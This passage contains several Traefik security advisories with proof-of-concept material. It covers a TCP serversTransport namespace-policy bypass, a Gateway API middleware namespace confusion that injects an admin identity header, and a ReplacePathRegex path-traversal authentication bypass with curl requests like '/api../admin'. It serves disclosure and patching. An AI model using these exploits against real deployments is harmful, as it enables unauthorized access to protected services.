yaml serversTransport: foo@file
Even when the provider is configured with:
yaml crossProviderNamespaces: - operator-only
Traefik still emits a TCP dynamic service whose load balancer points to foo@file. At runtime, DialerManager.Build() uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings.
Impact
The PoC demonstrates two positive facts:
1. A namespace outside crossProviderNamespaces can cause Traefik to accept and store LoadBalancer.ServersTransport = "foo@file" from an IngressRouteTCP service. 2. A qualified foo@file TCPServersTransport with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend.
This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference.
Proof Of Concept
Files
- run.sh: portable runner. - poccrdtest.go: positive CRD provider proof. - withserverstransportcrossproviderpoc.yml: minimal IngressRouteTCP fixture. - poctcpmtlstest.go: positive runtime mTLS identity-use proof.
<details> <summary>run.sh</summary>
bash #!/usr/bin/env sh set -eu
TARGETREF="${TARGETREF:-v3.7.5}" REPOURL="${REPOURL:-https://github.com/traefik/traefik.git}" SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"
if [ "${KEEPWORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi
echo "[] targetref=$TARGETREF" echo "[] workdir=$WORKDIR"
if [ -n "${TRAEFIKSRC:-}" ]; then echo "[] cloning from local source: $TRAEFIKSRC" git clone -q "$TRAEFIKSRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGETREF" else echo "[] cloning from remote: $REPOURL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGETREF" "$REPOURL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi
mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp cp "$SCRIPTDIR/poccrdtest.go" \ pkg/provider/kubernetes/crd/tcpserverstransportcrossproviderpoctest.go cp "$SCRIPTDIR/withserverstransportcrossproviderpoc.yml" \ pkg/provider/kubernetes/crd/fixtures/tcp/withserverstransportcrossproviderpoc.yml cp "$SCRIPTDIR/poctcpmtlstest.go" \ pkg/tcp/dialercrossprovideridentitypoctest.go
echo "[] running CRD provider policy-bypass PoC" go test ./pkg/provider/kubernetes/crd \ -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \ -count=1 -v
echo "[] running TCPServersTransport mTLS identity-use PoC" go test ./pkg/tcp \ -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \ -count=1 -v
echo "POCRESULT=PASS"
</details>
<details> <summary>poccrdtest.go</summary>
go package crd
import ( "testing"
"github.com/stretchr/testify/require" traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake" kubefake "k8s.io/client-go/kubernetes/fake" )
func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t testing.T) { k8sObjects, crdObjects := readResources(t, []string{ "tcp/services.yml", "tcp/withserverstransportcrossproviderpoc.yml", })
kubeClient := kubefake.NewClientset(k8sObjects...) crdClient := traefikcrdfake.NewClientset(crdObjects...) client := newClientImpl(kubeClient, crdClient)
stopCh := make(chan struct{}) defer close(stopCh)
eventCh, err := client.WatchAll(nil, stopCh) require.NoError(t, err) <-eventCh
provider := Provider{ AllowCrossNamespace: true, CrossProviderNamespaces: []string{"operator-only"}, }
conf := provider.loadConfigurationFromCRD(t.Context(), client) service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"] require.NotNil(t, service) require.NotNil(t, service.LoadBalancer) require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport) require.NotEmpty(t, service.LoadBalancer.Servers) require.True(t, service.LoadBalancer.Servers[0].TLS)
t.Logf("POCCRDRESULT=accepted routenamespace=default allowedcrossprovidernamespaces=%v serversTransport=%q backendtls=%v", provider.CrossProviderNamespaces, service.LoadBalancer.ServersTransport, service.LoadBalancer.Servers[0].TLS) }
</details>
<details> <summary>poctcpmtlstest.go</summary>
go package tcp
import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "fmt" "io" "math/big" "net" "testing" "time"
"github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" traefiktls "github.com/traefik/traefik/v3/pkg/tls" "github.com/traefik/traefik/v3/pkg/types" )
func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t testing.T) { pki := newPoCPKI(t)
dialerManager := NewDialerManager(nil) dialerManager.Update(map[string]dynamic.TCPServersTransport{ "foo@file": { TLS: &dynamic.TLSClientConfig{ ServerName: "example.com", RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)}, Certificates: traefiktls.Certificates{ traefiktls.Certificate{ CertFile: types.FileOrContent(pki.clientCertPEM), KeyFile: types.FileOrContent(pki.clientKeyPEM), }, }, }, }, })
backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki) defer closeBackend()
dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true) require.NoError(t, err)
conn, err := dialer.Dial("tcp", backendAddr, nil) require.NoError(t, err) defer conn.Close()
, err = conn.Write([]byte("ping")) require.NoError(t, err)
buf := make([]byte, 4) , err = io.ReadFull(conn, buf) require.NoError(t, err) require.Equal(t, "PONG", string(buf))
var cn string select { case cn = <-peerCN: case <-time.After(time.Second): t.Fatal("timed out waiting for backend peer certificate") }
select { case err := <-done: require.NoError(t, err) case <-time.After(time.Second): t.Fatal("timed out waiting for backend completion") }
t.Logf("POCMTLSRESULT=backendacceptedtransportidentity serversTransport=%q peercn=%q response=%q", "foo@file", cn, string(buf)) }
func newPoCMTLSBackend(t testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) { t.Helper()
serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM) require.NoError(t, err)
clientPool := x509.NewCertPool() require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))
listener, err := net.Listen("tcp", "127.0.0.1:0") require.NoError(t, err)
tlsListener := tls.NewListener(listener, &tls.Config{ Certificates: []tls.Certificate{serverCert}, ClientAuth: tls.RequireAndVerifyClientCert, ClientCAs: clientPool, })
peerCN := make(chan string, 1) done := make(chan error, 1)
go func() { conn, err := tlsListener.Accept() if err != nil { done <- err return } defer conn.Close()
tlsConn, ok := conn.(tls.Conn) if !ok { done <- fmt.Errorf("unexpected connection type %T", conn) return }
if err := tlsConn.Handshake(); err != nil { done <- err return }
state := tlsConn.ConnectionState() if len(state.PeerCertificates) == 0 { done <- fmt.Errorf("missing peer certificate") return } peerCN <- state.PeerCertificates[0].Subject.CommonName
buf := make([]byte, 4) if , err := io.ReadFull(tlsConn, buf); err != nil { done <- err return } if string(buf) != "ping" { done <- fmt.Errorf("unexpected backend payload %q", string(buf)) return }
, err = tlsConn.Write([]byte("PONG")) done <- err }()
return listener.Addr().String(), peerCN, done, func() { = tlsListener.Close() } }
type poCPKI struct { caCertPEM []byte serverCertPEM []byte serverKeyPEM []byte clientCertPEM []byte clientKeyPEM []byte }
func newPoCPKI(t testing.T) poCPKI { t.Helper()
caKey, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err)
caTemplate := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "poc-ca"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign, BasicConstraintsValid: true, IsCA: true, }
caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey) require.NoError(t, err)
serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}) clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})
return poCPKI{ caCertPEM: pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}), serverCertPEM: serverCertPEM, serverKeyPEM: serverKeyPEM, clientCertPEM: clientCertPEM, clientKeyPEM: clientKeyPEM, } }
func newPoCLeafCert(t testing.T, caTemplate x509.Certificate, caKey rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) { t.Helper()
key, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err)
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) require.NoError(t, err)
template := &x509.Certificate{ SerialNumber: serial, Subject: pkix.Name{CommonName: cn}, DNSNames: []string{"example.com"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, ExtKeyUsage: eku, }
certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey) require.NoError(t, err)
keyDER := x509.MarshalPKCS1PrivateKey(key)
return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}), pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER}) }
</details>
<details> <summary>withserverstransportcrossproviderpoc.yml</summary>
yaml apiVersion: traefik.io/v1alpha1 kind: IngressRouteTCP metadata: name: test.route namespace: default
spec: entryPoints: - foo
routes: - match: HostSNI(foo.com) priority: 12 services: - name: whoamitcp port: 8000 tls: true serversTransport: foo@file
</details>
Requirements
- git - Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0. - Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.
No local Traefik checkout is required by default.
Run
sh ./run.sh
Optional target override:
sh TARGETREF=v3.6.21 ./run.sh
Optional local-source override for faster local validation:
sh TRAEFIKSRC=/path/to/traefik TARGETREF=v3.7.5 ./run.sh
Expected Result
The run should end with:
text POCCRDRESULT=accepted routenamespace=default allowedcrossprovidernamespaces=[operator-only] serversTransport="foo@file" backendtls=true POCMTLSRESULT=backendacceptedtransportidentity serversTransport="foo@file" peercn="example.com" response="PONG" POCRESULT=PASS
Root Cause
Line numbers below are from:
text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. The provider option is meant to cover IngressRouteTCP
pkg/provider/kubernetes/crd/kubernetes.go:60
go CrossProviderNamespaces []string description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...
This establishes the security invariant: IngressRouteTCP cross-provider references should be gated by crossProviderNamespaces.
2. TCP service creation forwards the attacker-controlled transport name
pkg/provider/kubernetes/crd/kubernetestcp.go:183-185
go if service.ServersTransport != "" { tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport) }
The attacker-controlled serversTransport field is passed into the key builder.
3. TCP key builder returns cross-provider names without the allowlist check
pkg/provider/kubernetes/crd/kubernetestcp.go:321-322
go if strings.Contains(serversTransportName, providerNamespaceSeparator) { return serversTransportName, nil }
This accepts foo@file directly. There is no call to isCrossProviderNamespaceAllowed(...) on this TCP path.
4. HTTP sibling contains the missing authorization gate
pkg/provider/kubernetes/crd/kuberneteshttp.go:507-508
go if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) { return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...) }
The HTTP path proves the intended policy: cross-provider serversTransport references should be rejected when the route namespace is not in the allowlist.
5. Runtime TCP dialer consumes the exact referenced transport
pkg/tcp/dialer.go:135-141
go if config.ServersTransport != "" { name = config.ServersTransport } st, ok := d.serversTransports[name]
pkg/tcp/dialer.go:183-188
go tlsConfig = &tls.Config{ ServerName: st.TLS.ServerName, Certificates: st.TLS.Certificates.GetCertificates(), }
The accepted foo@file reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections.
</details>
---
Summary
There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Gateway API provider resolves HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef in the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state.
Description
Gateway API ReferenceGrant allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a Service. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace.
In the affected code path, Traefik copies backendRef.namespace into a local namespace variable. It correctly uses that namespace to validate and load the backend Service, but then reuses the same namespace when resolving backendRef.filters[].extensionRef. For Traefik CRD Middleware extension filters, the CRD provider turns (namespace, name) into a dynamic middleware reference such as:
text platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in tenant-a can bind a middleware named privileged-auth-header from the backend namespace platform, even though the Gateway API ReferenceGrant only granted access to platform/protected-api Service.
Impact
The PoC demonstrates that an attacker-authored HTTPRoute can cause Traefik to attach a backend-namespace Headers middleware to the generated backend service. The middleware injects:
text X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication.
This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary.
Proof Of Concept
Files
<details> <summary>run.sh</summary>
bash #!/usr/bin/env sh set -eu
TARGETREF="${TARGETREF:-v3.7.5}" REPOURL="${REPOURL:-https://github.com/traefik/traefik.git}" SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"
if [ "${KEEPWORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi
printf '[] targetref=%s\n' "$TARGETREF" printf '[] workdir=%s\n' "$WORKDIR"
if [ -n "${TRAEFIKSRC:-}" ]; then printf '[] cloning from local source: %s\n' "$TRAEFIKSRC" git clone -q "$TRAEFIKSRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGETREF" else printf '[] cloning from remote: %s\n' "$REPOURL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGETREF" "$REPOURL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi
mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute cp "$SCRIPTDIR/pocgatewayextensionreftest.go" \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go cp "$SCRIPTDIR/backendrefextensionfiltercrossnamespacepoc.yml" \ pkg/provider/kubernetes/gateway/fixtures/httproute/backendrefextensionfiltercrossnamespacepoc.yml
if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (dynamic.Configuration, statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then sed -i \ -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, , err := p.loadConfigurationFromGateways(t.Context())/' \ -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go fi
printf '[] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n' go test ./pkg/provider/kubernetes/gateway \ -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \ -count=1 -v
printf 'POCRESULT=PASS\n'
</details>
<details> <summary>backendrefextensionfiltercrossnamespacepoc.yml</summary>
yaml --- apiVersion: v1 kind: Service metadata: name: protected-api namespace: platform spec: ports: - name: web protocol: TCP port: 80 targetPort: web
--- kind: EndpointSlice apiVersion: discovery.k8s.io/v1 metadata: name: protected-api-abc namespace: platform labels: kubernetes.io/service-name: protected-api addressType: IPv4 ports: - name: web port: 8080 endpoints: - addresses: - 10.10.20.10 conditions: ready: true
--- kind: GatewayClass apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway-class spec: controllerName: traefik.io/gateway-controller
--- kind: Gateway apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway namespace: infra spec: gatewayClassName: shared-gateway-class listeners: - name: http protocol: HTTP port: 80 allowedRoutes: kinds: - kind: HTTPRoute group: gateway.networking.k8s.io namespaces: from: All
--- kind: ReferenceGrant apiVersion: gateway.networking.k8s.io/v1beta1 metadata: name: allow-tenant-route-to-service namespace: platform spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: tenant-a to: - group: "" kind: Service name: protected-api
--- kind: HTTPRoute apiVersion: gateway.networking.k8s.io/v1 metadata: name: tenant-route namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra kind: Gateway group: gateway.networking.k8s.io hostnames: - attacker.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: protected-api namespace: platform port: 80 kind: Service group: "" filters: - type: ExtensionRef extensionRef: group: traefik.io kind: Middleware name: privileged-auth-header
</details>
<details> <summary>pocgatewayextensionreftest.go</summary>
go package gateway
import ( "net/http" "net/http/httptest" "testing"
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" "github.com/traefik/traefik/v3/pkg/middlewares/headers" traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1" kubefake "k8s.io/client-go/kubernetes/fake" )
func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t testing.T) { k8sObjects, gwObjects := readResources(t, []string{"httproute/backendrefextensionfiltercrossnamespacepoc.yml"})
kubeClient := kubefake.NewClientset(k8sObjects...) gwClient := newGatewaySimpleClientSet(t, gwObjects...)
client := newClientImpl(kubeClient, gwClient) eventCh, err := client.WatchAll(nil, make(chan struct{})) require.NoError(t, err) if len(k8sObjects) > 0 || len(gwObjects) > 0 { <-eventCh }
var resolvedRefs []string p := Provider{ EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}}, client: client, }
p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { resolvedRefs = append(resolvedRefs, namespace+"/"+name) return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{ Headers: &dynamic.Headers{ CustomRequestHeaders: map[string]string{ "X-WEBAUTH-USER": "admin", }, }, }, nil })
conf := p.loadConfigurationFromGateways(t.Context()) require.NotNil(t, conf)
var serviceConfig dynamic.Service for , service := range conf.HTTP.Services { for , middlewareRef := range service.Middlewares { if middlewareRef == "platform-privileged-auth-header@kubernetescrd" { serviceConfig = service } } }
require.Contains(t, resolvedRefs, "platform/privileged-auth-header") require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd") require.NotNil(t, serviceConfig) require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")
seenUser := make(chan string, 1) backend := http.HandlerFunc(func(rw http.ResponseWriter, req http.Request) { seenUser <- req.Header.Get("X-WEBAUTH-USER") rw.WriteHeader(http.StatusOK) })
handler, err := headers.NewHeader(backend, conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers) require.NoError(t, err)
recorder := httptest.NewRecorder() handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))
assert.Equal(t, http.StatusOK, recorder.Code) assert.Equal(t, "admin", <-seenUser) t.Logf("POCRESULTDETAIL=backendextensionrefresolvednamespace=%q middleware=%q injectedheader=%q", "platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin") }
</details>
Requirements
- git - Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0. - Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.
No local Traefik checkout or Kubernetes cluster is required by default.
Run
sh ./run.sh
Optional target override:
sh TARGETREF=v3.7.0 ./run.sh
Optional local-source override for faster validation:
sh TRAEFIKSRC=/path/to/traefik TARGETREF=v3.7.5 ./run.sh
Expected Result
The run should end with:
text POCRESULTDETAIL=backendextensionrefresolvednamespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injectedheader="X-WEBAUTH-USER: admin" POCRESULT=PASS
Root Cause
Line numbers below are from:
text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. Route-level filters use the route namespace
pkg/provider/kubernetes/gateway/httproute.go:143-144
go // TODO loadMiddlewares errors could change the condition. router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)
For filters directly on HTTPRoute.rules[], Traefik resolves extension filters relative to route.Namespace. This matches the Gateway API LocalObjectReference model.
2. BackendRef namespace overwrites the route namespace
pkg/provider/kubernetes/gateway/httproute.go:240-243
go namespace := route.Namespace if backendRef.Namespace != nil && backendRef.Namespace != "" { namespace = string(backendRef.Namespace)
For a cross-namespace backend Service, namespace becomes the backend namespace, for example platform.
3. ReferenceGrant checks only the backend object
pkg/provider/kubernetes/gateway/httproute.go:258-266
go if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(), Reason: string(gatev1.RouteReasonRefNotPermitted),
This validates permission to reference the backend object, such as platform/protected-api Service.
4. The backend namespace is reused for backendRef filters
pkg/provider/kubernetes/gateway/httproute.go:269-277
go middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) if err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(),
The same namespace variable now points to the backend namespace. Therefore an ExtensionRef inside backendRef.filters[] is resolved as platform/<middleware-name> instead of tenant-a/<middleware-name>.
5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider
pkg/provider/kubernetes/crd/kubernetes.go:169-175
go registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) { return "", nil, fmt.Errorf("namespace %q is not allowed", namespace) }
return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil
The namespace passed from loadMiddlewares() decides which CRD Middleware object becomes part of the dynamic service configuration.
6. Service-level middlewares are applied at runtime
pkg/server/service/service.go:186-194
go if len(conf.Middlewares) > 0 { if m.middlewareChainBuilder == nil { // This should happen only in tests. return nil, errors.New("chain builder not defined") } chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares) originalLB := lb var err error lb, err = chain.Then(lb)
The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction.
Minimal Exploit Shape
The PoC fixture contains the essential object graph:
text tenant-a/HTTPRoute -> backendRef namespace: platform, name: protected-api -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header
platform/ReferenceGrant -> allows tenant-a HTTPRoute to reference platform/protected-api Service only
platform/protected-api Service
Traefik resolves the ExtensionRef as: platform/privileged-auth-header
In a real affected deployment, if platform/privileged-auth-header sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik.
Workarounds
- Avoid granting untrusted namespaces permission to attach HTTPRoute objects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik Middleware objects in namespaces that can be reached by untrusted cross-namespace HTTPRoute backend references. - Prefer route-local filters and explicitly audit HTTPRoute.rules[].backendRefs[].filters[].extensionRef usage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway.
Scope Boundary
Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without HTTPRoute authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created.
</details>
---
Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.
Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., regex: "^/api(.)", replacement: "/$1"), an attacker can inject implicit traversal sequences into the capture group.
Root cause: pkg/middlewares/replacepathregex/replacepathregex.go, function ServeHTTP (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.
Attack flow:
1. Attacker sends GET /api../admin 2. sanitizePath passes it unchanged (api.. is a valid segment name, not a dot-segment) 3. Router matches PathPrefix(/api) → selects the public router (no auth middleware) 4. ReplacePathRegex applies ^/api(.) → captures ../admin → replacement produces /../admin 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes /../admin to /admin 7. Attacker receives protected content without authentication
Suggested fix: Add the same JoinPath equality check after line 67:
go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }
PoC Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl
1. Create docker-compose.yml:
yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine workingdir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5
2. Create dynamic.yml:
yaml http: routers: public-api: rule: "PathPrefix(/api)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(/admin)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000"
3. Create server.js:
javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || normalized.startsWith('/admin/')) { res.writeHead(200); res.end(ADMINSECRETDATA (normalized=${normalized})\n); } else { res.writeHead(200); res.end(PUBLIC (normalized=${normalized})\n); } }); server.listen(3000);
4. Run and exploit:
bash docker compose up -d && sleep 5
Confirm auth is enforced: curl -s -o /dev/null -w "%{httpcode}" http://localhost/admin → 401
Auth bypass: curl -s http://localhost/api../admin → ADMINSECRETDATA (normalized=/admin)
URL-encoded variant: curl -s http://localhost/api%2e%2e/admin → ADMINSECRETDATA (normalized=/admin)
Configuration note: The regex ^/api(.) (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to StripPrefix("/api") for legitimate traffic. The pattern ^/api/(.) (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where StripPrefix("/api") was vulnerable but StripPrefix("/api/") was not.
Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
</details>
---
Summary
